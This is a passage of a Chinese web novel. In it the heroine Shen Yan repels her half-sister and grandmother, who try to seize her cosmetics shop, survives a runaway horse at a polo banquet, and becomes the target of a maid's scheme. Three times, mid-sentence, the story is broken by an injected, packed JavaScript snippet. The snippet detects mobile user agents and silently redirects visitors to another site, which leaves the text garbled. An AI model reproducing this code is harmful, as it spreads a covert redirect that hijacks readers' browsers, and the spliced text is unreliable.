后来，那名伙计详细描述了那女子的样貌、身形。 当时，沈妍脑中浮现的便是菊芬的样子，只不过没有证据，暂时未对任何人宣之于口。 如果那个人果真是菊芬，找点绛唇的麻烦是出于个人仇怨，还是有人指使？ 倘若出于个人仇怨，后来又是谁杀死了她？ 若有人指使，那么指使她的人是谁？菊芬遇害，又为何连个认尸下葬的人都没有？ 沈妍左思右想不得其解，只得暂时放下。 好在分店开业后，接下来的日子倒是太平无事。 然而这日午前，沈妍在大堂看店时，却来了一位不速之客。 该客人进门后不去看架上的货品，而是径直走到供顾客休息的茶桌边一坐，趾高气扬地吩咐掌柜，将店里最好的口脂全都给她拿来。 她一出声，原本站在沈妍身旁的小满不由惊讶脱口：“二娘子？” 沈妍翻看新品配方的手指一顿，抬头看见来人的刹那目光微沉。 随即，她朝正要去拿货的刘骥云摇摇头，起身走向苏锦荣。 “你来做什么？”沈妍边走边冷声道。 苏锦荣原本大喇喇坐着，叫一旁跟来的婢女珠儿伺候她喝茶。 闻声，她眼皮不抬地呷了口茶，这才不紧不慢放下杯盏，使唤下人般对沈妍说道：“你这香引子都凉了，还叫人去给我换壶新的？” 话音落地，沈妍却仍站着未动，声色淡淡：“这里不欢迎你。” 苏锦荣似乎没料到沈妍敢对她下逐客令，闻言有些意外地扫了沈妍一眼，继而冷嗤一声，拔高嗓门道：“真是岂有此理！你这点绛唇开张做生意，怎么还驱赶上客人了？” 一语果然引得店内顾客纷纷看过来。 不远处，丁香本在忙别的事，听见动静来到沈妍跟前，皱着眉心上下打量着苏锦荣。 沈妍原本垂在身侧的手指暗暗捏紧，耐着性子问苏锦荣：“那你想买什么？” “你们这里最好、最贵的口脂有哪几种？”苏锦荣脑袋微扬，漫不经心地反问。 丁香正要接口，沈妍却微微抬手，示意她不必多言，只道：“带她去看。” 丁香点头，带着苏锦荣来到一个货架前，将几款名贵的口脂一一指给她。 苏锦荣神色倨傲地看完，随即朝着货架各处一通指指点点：“这个、这个、这个……还有那个，那个……全都给我包起来。” 丁香依言帮她把货品一一取下，放在伙计递来的托盘上，便要拿去柜台包好。 “慢着。”沈妍忽道，她冷眼盯着苏锦荣，“麻烦你，先把账结了。” 苏锦荣闻言轻嗤，不屑地白了沈妍一眼：“瞧不起谁呢？”继而没好气地问丁香，“多少钱？” 丁香噼里啪啦拨了一通算珠，少顷道：“总共二十两银。” “多少？”苏锦荣吃惊得瞪大杏眼，片刻和身旁的珠儿对视一眼，面色紫涨，扭头咬牙切齿地一字字对沈妍道，“苏锦妍！你坑我？” 沈妍：“你选的这几款口脂造价高昂，算起来就是这个价钱。” 早料到会是这个局面，她看着苏锦荣冷笑一声，“你还要吗？” 苏锦荣虽自幼娇惯任性，无奈其父苏文焕官职在那摆着，每个月的月银有多少，沈妍心中有数。 她早料到苏锦荣买不起这些口脂，却还是叫丁香带看，取货，为的就是籍此敲打苏锦荣，好叫她长个记性，日后少来店中生事。 39. 公产 苏锦荣确实没想到这堆小小的口脂居然值这么多银子，更可恶的是，那个私生女摆明了是故意让她出丑。 适才她在店内大声嚷嚷，已经惊动了其他顾客和伙计们。 这会儿看她突然哑火，不少人露出看笑话的表情，更有耐不住性子的，在一旁窃窃私语。 苏锦荣恼羞成怒，只字不再提买口脂的事，改成了反咬沈妍：“苏锦妍，你这个忘恩负义的白眼狼，居然连自己的妹妹都坑！你想钱想疯了吧？” 她越发火，沈妍反而越是淡定：“第一，我没坑你；第二，你也不是我妹妹。这位顾客，既然你觉得账有问题，不如当着大伙的面，我们好好地再算一遍？” 众所周知，点绛唇所有货品都是明码标价，苏锦荣挑的口脂刚从货架取下来，此刻全在托盘里放着。 再算一遍，只能让苏锦荣再丢一次脸罢了。她如何会看不明白？ “你……”苏锦荣脸色骤变，怒冲冲指着沈妍，“黑心奸商，算计人算计到自家头上，苏府真是白养了你一场！” 沈妍闻言也不着恼，淡声道：“谁跟你是自家人？苏娘子难道忘了将我赶出苏府那日，你是怎么说的？” 一顿后，她直视苏锦荣，朗声言道，“你让我与苏府撇清关系，免得带累你的名声，我可还都记得一清二楚。苏锦荣，真不知你是读书太少，还是脑子有毛病，事到如今，竟然还有脸来我店中攀亲？” 言罢，在苏锦荣惊诧、震怒的目光中，沈妍丝毫不留情面道：“送客！” 一名伙计比手将苏锦荣往外请，周围客人们也不住朝她指指点点，言语间夹杂着嗤笑嘲讽。 “看着挺体面的一个小娘子，怎么蛮不讲理？买东西专拣贵的挑，完事还不想付钱。” “这开张做生意，即便亲姐妹也没有白拿的道理，何况她之前还那么对人家。” “八成真是脑子有毛病。” …… 苏锦荣听得脸上青一阵红一阵，自觉从未受过如此奇耻大辱。 当初，元琛到苏府接回沈妍那日，苏文焕后来还是听心腹说了苏锦荣如何刁难沈妍，逼着她与苏府撇清关系。 虽说他平时对苏锦荣百般纵容，但若是她坏了苏府向上的门路，又是另外一回事。 沈妍走后，苏文焕将苏锦荣结结实实圈禁了一段日子，直到最近苏文焕的母亲鲁老夫人从徽州入京小住，这才将苏锦荣放出来。 今日苏锦荣在家呆得憋闷，让珠儿陪着出来逛东市，经过一处繁华地段时，注意到沈妍新开的分店。 没想到竟是这样气派。 她自幼习惯了欺负沈妍，此番原想顺手挑几样自己中意的东西，再训斥她几句。 没想到这个私生女如今竟是翅膀硬了，连她都敢戏耍。 当下，苏锦荣带着珠儿愤愤从店中出来，边双脚用力跺着地面，边咬牙切齿：“苏锦妍，你给我等着！” * 翌日午后，苏锦荣果然搀扶着一位拄着藤杖的老妇来到了点绛唇外。两人身后还跟着五名身强力壮的家丁，都是鲁老夫人从徽州带过来的。 刘骥云昨日已见过苏锦荣。当时她虽来店中胡闹，但因为是东家的家务事，他并不好上前掺和。 此时在店门口一看这阵势，他却不由神色一凝，转身快步返回店中，亲自上二楼将情况报告给沈妍。 “老夫人？”沈妍秀眉微拧，一时没想到来者是谁。 从店里出来，第一眼看见店外的老妇，她甚至没把人认出来，须臾才想起什么，不可置信道：“祖母？” 沈妍想起这位便宜祖母常年居住在徽州，自己在苏府这四年间，老人家好像只来京中住过两回。 每回都是趁着舒服时节小住半年，再返回徽州老家。 老人家嫡庶分明，对待她和苏锦荣堪称判若云泥。 沈妍记得这位祖母在苏府小住期间，自己连同她见面的次数都屈指可数。 故而对她了解不多，只知道当初就是她极力反对父亲娶阿娘进门。 前方，鲁氏拄着藜杖在门外站定，看见沈妍出来，开口底气十足道：“苏锦妍，你还有没有良心？你父亲两袖清风，一家子眼下过得是什么日子？你过得又是什么日子？在此地大开门店，吃香喝辣，你于心何安？” 鲁氏沉着脸质问沈妍时，苏锦荣就站在旁边搀扶着老太太的手臂，乖巧孝顺地微垂着眼睫，看向地面的眸中却划过一抹快意。 沈妍自然知晓是她在背后捣鬼。 如今苏锦荣也只有怂恿不明就里、又对她百般宠溺的祖母来找麻烦了。 姜氏畏惧卫世子的权势，而她的父亲苏文焕更视官生如命，倘若二人知晓今日之事，必会加以阻止。 念及此，她偏头吩咐一旁的刘骥云带上小满去父亲的衙门送信。 事情分派下去，沈妍这才不慌不忙对鲁氏笑道：“您老人家这说的是什么话？我一没偷，二没抢，有什么于心不安的？”她对这位祖母一无感情，二没好感，加上对方当年对她阿娘所做的事，沈妍实在对此人尊敬不起来。 鲁氏闻言，手中的藜杖重重往地上一戳：“想不到，我与你好言说话，你这丫头竟是这般不晓事。你是苏家女，身上留着苏家的血。当初你那娘亲死得早，苏家念你年幼，好心收养。你如今既攀了高枝，合该知恩图报，将这铺子充做苏家的公产。” 老太太这番道理，沈妍一时没太听懂。 既说她是苏家女，那苏家又为何对她生而不养？ 阿娘死后，苏家将年幼的她接回府，反成了好心收养？ 还有，这老太太一口一个知恩图报，该不是将她当成韭菜，没完没了地收割起来？ 及至听明白鲁氏这番话的用意，沈妍一个没忍住，竟“噗嗤”一声当场气乐了。 鲁氏见她态度不恭，面色越发难看：“一个女人家，抛头露面做生意终究是不成体统，再这样下去，你父亲的清誉都要被你毁光了。他性子和软，不同你计较，我眼里却是揉不得沙子！” 她一顿，扭头扫了眼身后几名家丁，须臾转过头来，对沈妍道，“今日我刚好带了账房和一些人手过来，这便先替你接管了铺子。” 沈妍听见最后一句，沉了脸色，冷声道：“当年祖母拒绝承认我们母女，怎么如今见了钱财，这亲竟是认得这样快。” 鲁氏显然没料到一个庶出的小丫头竟敢如此讥讽自己，登时气得浑身打颤，厉色道：“就冲你刚刚说的这几句话，当年我不让你那娘亲进门便是明智之举。哼！教坊司出来的女人，果然教不出像样的孩子。” 话音落下，还没等沈妍回击，忽听鲁氏身后有人沉声喝道：“够了！” 苏文焕面色难看地分开人群，大步走向鲁氏和苏锦荣，神色凝重地对鲁氏道：“母亲不该来此处妨碍阿妍做生意。” 言罢，他也没忘狠狠瞪了眼旁边的苏锦荣，“你做的好事！还不速速陪祖母回府？” 鲁氏见儿子如此却不干了，气呼呼质问苏文焕：“你是训斥荣儿，还是在训你的老娘？” 她抬手一指沈妍，“那个庶女骄纵任性，当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593162|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 街开店毁你清誉，之前还欺负荣儿，当众给她难堪。你这个做父亲的，不说替荣儿做主，反倒偏袒那个丫头？简直是嫡庶不分！” 苏文焕闻言皱眉，似也有些无奈，但还是放低了声音好言劝道：“母亲，咱们有话回府再说。” 鲁氏却甩开他：“我不走！这个庶女丢尽了苏家的脸面，今日为母便让你看看，做长辈的该如何管教小辈。” 言罢，她冲几名家丁挥挥手，“你们几个，还不速去接管铺子？” 话落，苏文焕尚未明白怎么回事，五名家丁已经应声上前，径直冲向大堂。 刘骥云和伙计们见状忙上前阻拦。 怎料这些家丁均是有备而来，个个动作麻利，身手矫捷，其中一人抬手便将刘骥云推了个人仰马翻。 眼看一名家丁又上前伸手来拉沈妍，只不过他的手还未碰到她衣袖，斜刺里蓦地飞来一道细长凌厉的黑影，灵蛇般卷住了那人的小臂。 下一瞬，乌黑的鞭梢骤然发力，那名家丁连手臂带人，整个向后摔出，随着一声惨呼，后背重重砸在地上，嘴角登时溢出一股血水。 余下几名家丁见状脸色骤变，正要冲进店内的脚步纷纷顿住。 鲁氏被这突如其来的变故吓了一跳，扭头惊愕地朝街心方向望去。 不远处的坊道上，不知何时站了一骑人马。马背上的男子一身紫袍，手中握着方才那条黑色长鞭，面色阴沉地望着这边。 正不知此人是谁，忽听店门口，沈妍语气恭敬道：“拜见钦国公！” 周遭众人闻言，纷纷都跟着俯身拜倒。 鲁氏微一愣神的工夫，只见她儿苏文焕已向来人叉手行礼，忙也跟着拜了下去。 前方，高云锡神色不虞地跃下马背，看似随意地伸手把缰绳交给一旁的扈从。 下一瞬，他大手一挥，手中的黑色鞭杆指着鲁氏祖孙和刚刚闹事的几名家丁：“把这几个寻衅滋事的都抓起来，送去京兆府衙门。” 话音落下，他带来四名扈从，连同刚被扈从叫来的两名巡街武侯二话不说，快步涌上前动手抓人。 鲁氏和苏锦荣见状皆是脸色煞白。苏文焕跟着也着了急，忙趋步上前，向高云锡介绍自己，软言解释此乃家务事，都是一场误会，肯请钦国公对鲁氏和女儿网开一面。 高云锡却完全不吃这一套，无所谓地挑了挑眉，不咸不淡道：“本公不善断案，奉议郎有何话，不如一道去衙门说清楚吧。”言罢，他还客气地朝苏文焕比了个有请的手势。 “这……”苏文焕面色为难地噎了片刻，见鲁氏等人均已被强行带走，他无奈地长叹一声，只得跟着一道去了。 * 点绛唇二楼茶室，沈妍偏身冲高云锡敛衽叉手：“适才多谢公爷解围。” 后者闻言皱眉道：“你怎么还叫公爷？”言罢，一双桃花眼似笑非笑盯着沈妍，放缓语速，“——是要我一字字教你？” 沈妍察觉一时“失言”，又被他盯得浑身发毛，连忙讪讪摆手：“不，不用了……玄……清。” 这是沈妍头一回称呼他名讳，虽然是情急之下不得已为之，高云锡到底还是眼尾上扬，满意地“哎”了一声。 沈妍：“……” 总觉得这人不怎么正经，但每次又是真的在帮她。 高云锡不无感慨：“今日一见，你那些家人们也真够极品的。” 沈妍：“让您见笑了。” 言罢一愣，他为什么说“也”？难道他的家人也如此？还是说他觉得她这个人其实也很极品？ 40. 疯马 正胡思乱想着，只见高云锡不知想起什么，摇头哂笑一声，须臾说道：“不过你放心，经此一遭，谅他们不敢再来闹事。” 此前点绛唇火灾，高云锡便想来帮忙，不过元琛已经解决。 又想沈妍在元琛身边，宛如身处风口浪尖，往后只怕麻烦少不了。 他虽为此忧心，但碍于沈妍名义上仍是元琛的侍妾，纵使他明知身份是假，却也不好硬往前凑。 今日总算又能帮她一回，高云锡自觉很是欣慰。 “但愿借您吉言。”沈妍说道。 高云锡颔首，继而幽幽一叹：“适才在店外，沈娘子的反应着实令人佩服。你家那些人那么欺负你，你都不伤心，还能镇定应对，想想真让人自叹不如。” “那是因为他们并不能算作我的家人。”沈妍想起苏府那些所谓的家人，神色微冷，“比如，我那位祖母和妹妹，其实从未承认和认同过我的存在。我真正的家人只有阿娘，可惜她已经死了。” “至于旁人轻视我，欺负我，对我口出恶言，无非是因为我的出身、身份、地位、门第……但这些都不是我的过错，也并非我能选择，为什么要为这些与我无关的事伤心呢？” 当然，她也已经不需要苏家承认。她如今自食其力，又不用吃苏家一粒米，她的事，他们也管不着。 高云锡含笑点头：“有道理，想不到沈娘子小小年纪，竟活得如此通透。” 沈妍摇头：“通透谈不上，只是有过一些不太好的经历，继而看清楚了一些人和事罢了。” 她陷在自己的情绪里，眼神渐渐放空，“我阿娘在世时曾对我说‘自助者天助’，虽然不知道为什么，我这个人总是麻烦缠身，但办法总比困难多，再难的路，只要我还没有放弃，终有一日总能走过去。” 她说这些话时，像在看着一个很遥远的地方，一双杏眸清澈坚定，让人不知不觉想要认同她，靠近她。 “那祝你达成所愿。”高云锡定定望着她，轻声道。 但愿有朝一日，他们都能达成所愿。 当日稍晚，卫王府迎晖阁，暗卫阿岚将点绛唇外发生的事报告给元琛。 “当时情况就是这样，属下因看见钦国公出手，便未行动。”阿岚最后说道。 元琛微微颔首，像是赞同他没有轻易暴露的做法，脸色却有些难看：“下次再遇到类似的事，及时通知薛坚。” “是。” * 两日后，御史大夫顾光庭府上于上都东南的漱玉池畔举办宜春宴，所邀宾客之众，几乎涵盖了全上都贵人圈。 而这次不仅元琛受到邀请，因为顾婉仪的缘故，沈妍也单独收到了一份请柬。 当日宴席之丰盛热闹自不消说，宴后竟还有特地为女子准备的马球赛。 上都民风开放，不乏马术、球技皆精湛的女子。 沈妍虽然并不擅长这些，但能趁机一睹上都女子马背上的风采，她倒十分乐意。 关于马球，她幼时曾跟着干娘学过些皮毛，后来干娘一家被姚承嗣构陷，流放岭南，她便再无机会骑马，更别说打马球了。 适才顾婉仪专程派女使过来邀她一同观赛，沈妍见元琛未反对，便早早移步至球场边等着顾婉仪。 此刻顾婉仪人还没到，她索性站在距球场入口不远的一片栅栏边瞧热闹。 谁知好巧不巧，不多时看见一身骑装的桓莹玉牵着一匹枣红马经过。 对上那道锥子般的视线，沈妍顿觉一阵后脊发凉。 脑中有个声音提醒她：离这个女人远点。 于是欠身一礼之后，她沿着栅栏继续往远离入口方向走去。 惹不起，她还躲不起吗？ 怎料才走出没两步，身后有道清润的声音响起：“沈娘子。” 沈妍顿足，转身见来人眉目疏朗，身形修长，穿着一袭绯色襕袍，一头乌发利落地挽在发顶，上面束着皂纱幞头，却不是高云锡是谁？ 见沈妍抬眸看来，后者一双桃花眼微微弯起，似笑非笑的声音染了几分好奇：“待会儿沈娘子也要上场？” 沈妍：“……” 就她那点骑术，上场还不够丢人现眼的。 “妾骑术不佳，就是来瞧个热闹罢了。”她摆摆手，不好意思道。 闻言，高云锡眉梢微扬：“听说今日的头奖是一顶珊瑚发冠，不知沈娘子有无兴趣？” 沈妍听得哭笑不得，好像在高云锡眼中，她整天没别的事干，就惦记着各种大赛的头奖似的。 “你若想要，在下倒有个现学现卖的本领可教给你。”高云锡热心自荐，言罢还一脸神秘地冲她眨了下眼。 沈妍对珊瑚发冠并无兴趣，这会儿也没心思学什么本领，只道：“多谢玄清好心，但是不必了。” 高云锡听见她如此说，眉眼间似有些失落：“真不想学？” 沈妍肯定地点点头。 高云锡不无遗憾地耸耸肩，那对琉璃般的眸子仍直勾勾望着她，散出幽幽柔光。 触及他的视线，沈妍不知为何，浑身一阵局促，脑中却倏地闪过元琛一脸黑气的模样。 心头一凛，她连忙道：“妾之前约了人，这厢先行一步，失陪了。”言罢冲高云锡一礼，匆匆往回走。 反正离约定的时候尚早，过会儿再来找顾婉仪也不迟。 沈妍身后，高云锡看着她慌不择路的身影勾唇一笑，继而双手抱臂，一脸玩味地目送她走远，半晌，才转身朝相反方向走去。 * 球场对面有个草坡，站在上面能俯瞰整个球场，也方便第一时间看见顾婉仪。 沈妍正朝草坡走去，忽听身后一阵急促的马蹄声由远及近。 她愕然转身，一匹枣红马不知何时从球场闯出来，正飞扬着四蹄，疾速朝她撞来。 及至看见马背上的桓莹玉，沈妍心里咯噔一沉。 附近传来几声惊呼。 那匹马奔驰速度极快，这么近距离朝人撞去，即便身手敏捷的男子也要躲闪不及，更何况这么一位看起来柔柔弱弱的女子。 沈妍也的确毫无身手，眼看马撞来，惊惧交加之下，甚至不知该往哪边躲闪才好。 电光石火间，一道矫捷的身影从侧面朝她扑来。 那人有力的手臂将她圈在怀中，顺势带到一旁，两人在草地上翻滚了数圈才堪堪停下。 这一切只发生在瞬息间。 沈妍只觉眼前天旋地转，耳畔嗡嗡作响，似有惊慌乱窜的血流直冲天灵盖，缓了两息，她才看清楚被她压在身下的人。 “世、世子？”她语气惊疑不定，怔怔问道。 今日元琛原本计划一直将沈妍带在身边，不想她临时被顾婉仪邀去看球。 这次长庚因事未能跟来，仓促间没找到合适的人手跟随沈妍，只好暂放她一人前往赴约。 他料想顾婉仪身边少不了侍女扈从，沈妍又与她情同姐妹，加上两人不用多久便会碰面，这期间总不至于出什么差子。 但和沈妍分开不久，他心中却隐隐不安起来。 贵胄聚集的飞羽阁露台上，有奴仆燃起篝火，炙烤些新鲜的猎物小食。 元琛盯着前方的火苗，脑中却蓦地闪过上次点绛唇那场大火，忽然再也坐不住了。 此刻，他显然还未从适才的惊险中缓过神来，胸口上下起伏着，瞳孔紧缩，一瞬不瞬盯着沈妍。 他一只手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616892|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仍紧箍在沈妍腰间，另一只手则护在她脑后，象牙白的衣袖杂乱沾了些草叶和灰土。 而沈妍原本挽在头顶的青丝落下来几缕，凌乱堆在元琛薄红的耳边，更为他增添了几许难以言喻的狼狈。 沈妍看在眼中，竟不合时宜地脸颊一阵发烫。 忽听身下元琛声音紧绷地开口问她：“有没有受伤？” 闻言，沈妍忙压下心头微澜，敛神道：“我没事，世子呢？” 话音落下，元琛似是缓缓松了口气，黑眸仍定定凝着她，声音低柔道：“无妨。” 沈妍这才意识到，刚刚生死关头，卫世子竟就那么不管不顾地冲过来。 倘若他动作稍慢一点，此刻怕是已经和她一起被踩在马蹄下了。 世子为何冒险救她？ 他们之间只是契约关系不是吗？他这样……值得吗？ 这么想着，沈妍又有些愣神。 元琛却以为她是受了惊吓，不假思索地抬手在她背上轻拍了两下，温声道：“怕了？” 怕被他看穿心思，沈妍随口应了句“是”。 实则无形中他早已为她驱散了恐惧，找回神志后，她听见元琛如此问，这才觉出一阵后怕，接着又是一阵委屈，紧咬着下唇，原本清澈的杏眸也仿佛蒙上了一层水雾。 元琛看着她，喉结滚了滚，垫在沈妍脑后那只手下意识地将她压向自己肩头。 不料下一瞬，沈妍似是想到什么，神色微窘地从他怀里挣脱出来。 元琛这会儿反应却明显迟了半拍，直到沈妍推开他才渐渐缓过神。 沈妍刚起身，高云锡急匆匆迎面向她赶来。 “沈娘子……没事吧？”赶到近前，他打量着沈妍，声音竟有些上气不接下气， 可见这一路走得很急。 沈妍看他如此关心自己，微感意外，正要回话，元琛却在她身后抢先说道：“她和本世子都很好，不劳钦国公费心。” 他不知何时站起身来，边拍打着身上的尘土，边不咸不淡对高云锡道。 举步走来，元琛状似不经意地往高、沈二人中间一站，睨向高云锡的眼神却是染了几分冷意。 后者乜眼瞧着他，忽地轻嗤一声，面色也冷下来，像从齿缝挤出来的声音夹枪带棒：“你最好别出什么事。” 后面高云锡没再继续往下说。四五名侍卫快步赶来，警惕地护在元琛和沈妍四周。 高云锡右半边眉毛微挑了挑，自觉地向后退开两步，确定沈妍无事后转身离开。 幸而她没有受伤。 高云锡轻舒一口气，片刻后却又摇头一叹。 还是比那个人晚了一步。 * 此时肇事者平陵郡主也赶上来。 她面色苍白，望着险些被她的爱马踏伤的元琛颤声开口：“表兄，抱歉……你有没有受伤？我……我真不是有意的。” 泪眼巴巴又惊慌失措的模样，连沈妍在一旁看了都忍不住暗叹一句我见犹怜。 又听桓莹玉向元琛软言解释，“我的赤焰一向都很乖顺，适才想必是被沈娘子头上的发簪闪了眼睛，突然受到惊吓，这才冲出去。”说着，她视线凉飕飕扫过沈妍，“幸而没有伤到沈娘子。” 沈妍：“……”是没伤到，就差点踩死而已。 不过这话怎么听着还成她的过错了？ 没想到堂堂一位郡主，如何自尊自重没看出来，颠倒黑白的本事倒和李胭娘有一拼。 桓莹玉话音落下，还没等沈妍开口，元琛先脱口道：“你该道歉的人是沈娘子。”他声线沉凉，说着侧身移步，让桓莹玉面向沈妍。 桓莹玉似被噎了一下，霎时面色青白，朱唇紧抿。 41. 下药 大庆子民素有分高低贵贱之分。凭沈妍的身份，就算郡主果真撞伤她，事后也不过是该找郎中找郎中，该赔钱赔钱。 所谓侍妾，说白了只是个下人而已，哪有让堂堂郡主赔礼道歉的资格？ 况且桓莹玉都说了，这只是一场意外。 更令桓莹玉难以接受的是，那个人还是被她视为眼中钉肉中刺的沈妍。 给她道歉？岂不比在心口剜刀子还让她难受百倍。 但她的马撞人事实摆在眼前，周围那么多双眼睛都瞧见了，而沈妍再怎么说也是元琛的人。倘若元琛坚持如此，她纵使不情愿，于情于理却也只能照办。 葱白的手指暗暗掐进掌心，桓莹玉面色闪了闪，终是向沈妍略一欠身：“让沈娘子受惊了。” 话音落下，沈妍尚未答话，一旁，元琛先冷着脸语气淡淡道：“发簪闪一下都能发疯的马，我看也没有再留着的必要了，长庚——” “属下在。” “把那匹疯马处置一下。” “是！” 一唱一和的对白落地，桓莹玉几乎不敢相信自己的耳朵，及至明白过味来，不由倏地抬睫，一脸错愕地瞪着元琛。 为一个小小侍妾，居然对她的赤焰狠下杀手。 而且，桓莹玉可以确定元琛这次是认真的，并非故意气她。 表兄怎会如此？他不是一向最有分寸吗？ 但桓莹玉并未惊愕太久，因为长庚已经开始执行命令了。 她忙不迭恳求地望向元琛，语气急切：“表兄不要——” 话音未落，对上男人如凝霜雪的视线，桓莹玉只觉从发丝凉到脚底。 “望郡主引以为戒。”他声音不轻不重，却无一丝温度，“下次若再发生类似的事，便不只是处置一匹马这么简单了。” 这话从一位杀人如麻的将军口中说出，无形中似带了一股凛然煞气。 桓莹玉只听得面容一僵，半晌缓过神来，眸底变幻着复杂的神色：惊愕，惧怕，伤心，不舍…… 期间，长庚毫不迟疑地从宝瓶手中扯过缰绳，牵着那匹枣红马大步走远。 桓莹玉不舍地看着爱马赤焰，无声地张了张口，最终却只能眼睁睁看着它被拉走。 * 草坪上，桓莹玉又恨又怕又心疼，适才还在眼眶中打转的泪水，等人群散去，终于断了线的珠子般夺眶而出。 一旁，宝瓶看在眼中，暗暗替主子抱不平。 郡主从小到大没受过一丁点委屈，那曾想如今被一个小小侍妾逼到这步田地。 是可忍，孰不可忍？ 她恨恨想着，忽一眼瞥见身旁草丛中有个什么东西在日光下莹莹一闪。 宝瓶疑惑地上前几步，定睛一瞧——竟是一枚南珠耳坠。 那耳坠的式样有些眼熟，好像在哪里见过……对了，可不就是那个姓沈的侍妾所戴？ 彼时，一对南珠在那女人耳垂上轻轻摇晃，乱人心魄的样子，宝瓶怎么都忘不掉。 定是不久前姓沈的侍妾躲避赤焰时不小心掉落的。 宝瓶眼不错珠地盯着那颗耳坠，渐渐计上心来。 快步返回桓莹玉身旁，她打量四下无人，对桓莹玉悄悄耳语了几句。 后者听着，渐渐止住了泪，语气略显迟疑：“可表兄才刚处置了赤焰，已是在警告我了，我担心——” “郡主，机不可失。”宝瓶细眼微眯，阴鸷的语气循循善诱，“眼下既然无法直接动那个侍妾，何不让世子主动厌弃了她？到时任凭郡主如何处置，看谁还会护着她。” 桓莹玉默了几息，片刻后，终是下定决心似的一咬下唇。 这次，她定要让表兄对那个女人彻底死心。 * 漱玉池畔遍植杨柳，宝瓶快步来到一棵大柳树下。那里此刻正站着一名韩国公府的侍从。 宝瓶在那名侍从跟前站定，向他低声嘱咐了几句。 侍从得令，跨步走向从不远处一株柳树下拴着的骏马，不多时跨上马背飞速驰远。 宝瓶没等多久，那侍从便又纵马返回，下马后，悄悄将一个油纸包递给宝瓶。 后者眼中寒芒一闪，迅速将油纸包纳进袖中。 宝瓶擅长察言观色，揣摩人心，小小年纪便从韩国公府一众侍婢中脱颖而出，成为平陵郡主的头号心腹。 通过这段时日观察，宝瓶渐渐看出，卫世子并不是什么听劝之人，一旦他认定的事，很难轻易更改。 所以，郡主从一开始便走错了方向。 若要对付那个侍妾，最好的办法不是直接下手，而是让世子自己厌弃她。 宝瓶自幼看着父亲对母亲日渐生厌，动辄打骂，及至最后休妻另娶。 后来，家境每况愈下，年幼的她被继母撺掇着，辗转卖到韩国公府。 她从不相信世上存在一直专情的男人。 眼下，卫世子宠爱那个侍妾，只能说对方还未做出惹他厌弃之事。 此番，她正是要促使这样的事发生。 刚刚出事后，宝瓶亲眼目睹了钦国公对沈妍的关心。听说沈妍出事，他立刻急匆匆赶来，神色举止间的焦切暧昧之色掩都掩不住。 宝瓶也由此看到了机会。 马场边，她先找到钦国公带来的一名小厮，对他交代一番话后，将那枚耳坠子递给对方。 那小厮是个机灵的，闻言立时会意离去。 看着他匆匆赶到钦国公跟前，将耳坠子递给他说了几句话。之后，钦国公果然独自离开马场，朝着她希望的方向走去。 不远处，宝瓶默默注视着这一切，一点点勾起唇角。 * 不久前，顾婉仪来到约定地点找沈妍，因为路上听说了适才的惊险，这会儿看见沈妍无事，她忍不住拍着心口念了句佛。 出了这档事，哪还有心思观赛，顾婉仪注意到沈妍鬓发松散，外衫也有些脏污，于是提议带她先去更衣。 沈妍知晓自己此刻这副样子十分不妥，闻言心照不宣地和元琛对视一眼，跟随顾婉仪前往她的住处。 顾家在漱玉池附近有处园子，府中各位主子在其间皆有自己的官舍。 这厢，顾婉仪的兄长顾弘逸后脚也赶到了事发地，打眼看见元琛，当即做出了与妹妹相同的举动，聊尽地主之谊。 闺阁内，顾婉仪叫人找了一套自己没穿过的干净衣裙拿给沈妍。 顾婉仪身材较沈妍丰腴，起先还担心衣服不合身，不料沈妍穿在身上反而有种别样的飘逸灵动，整个人袅袅婷婷，柔若无骨。 顾婉仪怔怔看了会儿，忍不住脱口：“沈娘子生得这般模样，真是披件被单都好看。” 说着，她视线落在沈妍左耳上，当即轻“咦”了声道：“你耳坠子掉了一颗。” 沈妍伸手一摸耳垂，恍然：“想必是躲避那匹马时不小心掉在哪了。” 顾婉仪当即吩咐身旁一个女使去球场外寻找。 此时，外面有女使进来传话：“钦国公在沁园等候沈娘子，说有要紧事，须面见沈娘子告知。” 高云锡？ 沈妍纳闷，该不会是教她骑马那件事吧？ 但随即又否定了这个想法，钦国公应该没那么闲。 自从上次在牡丹宴上解除误会，沈妍便对高云锡印象不坏。后来他又帮她赢得龙涎香，还在祖母和苏锦荣来店外闹事时替她解围，沈妍早已对此人心生感激。 既是他有事相见，自己也没理由太小家子气。 当即道了声好，暂别顾婉仪，由那名女使引着前往沁园去了。 沁园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634565|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 距离顾婉仪的住处不远，沈妍抵达园内花厅时高云锡人还没有来。 花厅内空无一人，四周围只有半透的轻纱随风鼓荡，如舞姬飘渺的长裙。 